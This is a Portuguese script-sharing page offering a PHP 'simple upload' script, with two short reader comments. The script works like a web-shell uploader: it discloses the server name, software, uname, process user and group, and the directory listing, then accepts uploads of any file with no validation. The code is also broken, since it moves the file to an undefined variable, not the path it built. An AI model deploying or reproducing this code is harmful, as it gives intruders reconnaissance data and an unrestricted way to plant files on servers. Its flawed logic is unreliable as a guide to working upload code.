Simpels Upload em PHP

Publicado por Perfil removido (última atualização em 10/08/2012)

[ Hits: 4.499 ]

Download upload_file.php




Não sou programador mais gosto um pouco de PHP e com o pouco que sei criei esse sistema de upload nas horas vagas, ele precisa de alguns ajustes, por tanto fiquem a vontade pra editar o que quiser. Obrigado.

  



Esconder código-fonte

<?php

 /*/////////////////////////////////////////////////////////
  * Upload PHP File 1.0                                   //
  * By @Kouback_TR_                                       //
  * Twitter: http://www.twitter.com/kouback_tr_           //
  * IRC: irc.anonnet.org 6667 #loc                        //
  * http://learnersofcuriosity.com/                       //
  *                                                       //
  */////////////////////////////////////////////////////////


echo'<body BGCOLOR="#000000">'; //BackGround & BGCOLOR

$ip = getenv('REMOTE_ADDR'); // pega ip do visintante
print"<font color=#01FF00>";
print"<font color=#590000 size=4>============================================================================</font><br/>";
print "<b>Host=> </b><font color=#DB1414>".$_SERVER['SERVER_NAME']."</fonte><br/>";
print "<font color=#01FF00><b>App=> </b></fonte><font color=#DB1414>".$_SERVER['SERVER_SOFTWARE']."</fonte><br/>";
print "<font color=#01FF00><b>Uname=> </b></fonte><font color=#DB1414>".php_uname()."</fonte><br/>";
print"</font>";
echo'</body>';
if (is_callable("posix_getuid") and is_callable("posix_getgid"))  {
    $uid=posix_getuid();
    $uname=posix_getpwuid($uid);
    $uname=$uname['name'];
 
    $gid=posix_getgid();
    $gname=posix_getgrgid($gid);
    $gname=$gname['name'];
print "<font color=#01FF00 size=2>$uid ($uname)";
print "<font color=#01FF00 size=2>$gid ($gname)<br/>";

}
print"<font color=#590000 size=4>============================================================================</font><br/>";
print"<font color=#11FF00>Seu IP: </font><font size=2 color=#FFD200>$ip</font><br/>"; // mostra ip do visitante
print"<font color=#590000 size=4>============================================================================</font><br/>";
echo'<b><font color=#FFD200>Arquivos: </font></b><br/><br/>';
echo'<body bgcolor=#FFFFFF></body>';

$dir = opendir("."); //mostra arquivos do diretorio  (DEFINIR QUAL SERÁ MOSTRADO)
while(($arquivos = readdir($dir))!==false) {

echo'<font color=#FF0000>';
echo'<br/><b>';
print"$arquivos \n";
echo'</font></b>';
}
closedir($dir);

echo'<br/>';
echo'<center>';
/////////////////
// UPLOAD CODE //
/////////////////

$upload = "diretorio";  // DEFINIR DIRETÓRIO AQUI
$upload = $upload . basename( $_FILES['upload']['name']); 
if(move_uploaded_file($_FILES['upload']['tmp_name'], $uploader)) {
    echo "Arquivo: <font color=#FF0000>".  basename( $_FILES['upload']['name']). "</font> O arquivo fi enviado.";
} else{
}
echo'</center>';
?>
<center>
<form enctype="multipart/form-data" action="" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="20000" />
Arquivo: <input name="upload" type="file" /><br />
<input type="submit" value="upload" />
</form>
</center>

<?
 //Autor
   echo'<br/>';
   echo'<br/>';
 echo'<font size=4><center>C0ded by @Kouback_TR_ [LearnersOFcuriosity] <div align="center"><br><a href="http://twitter.com/kouback_tr_"target="_blank">Twitter</a></br></div></center></font>'
?>

Scripts recomendados

Listar o conteúdo de um diretório

Upload de imagens com redimensionamento

Listando arquivos do diretório

Visualizador de Imagens em PHP-GTK2

Download de imagem


  

Comentários
[1] Comentário enviado por emccomputadores em 12/08/2012 - 11:31h

Muito bomba o script, mas podia separar o php do html e tratar em casos de upload de arquivados do mesmo nome

[2] Comentário enviado por removido em 16/08/2012 - 23:37h


[1] Comentário enviado por emccomputadores em 12/08/2012 - 11:31h:

Muito bomba o script, mas podia separar o php do html e tratar em casos de upload de arquivados do mesmo nome


Obrigado pelas dicas .. :)


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts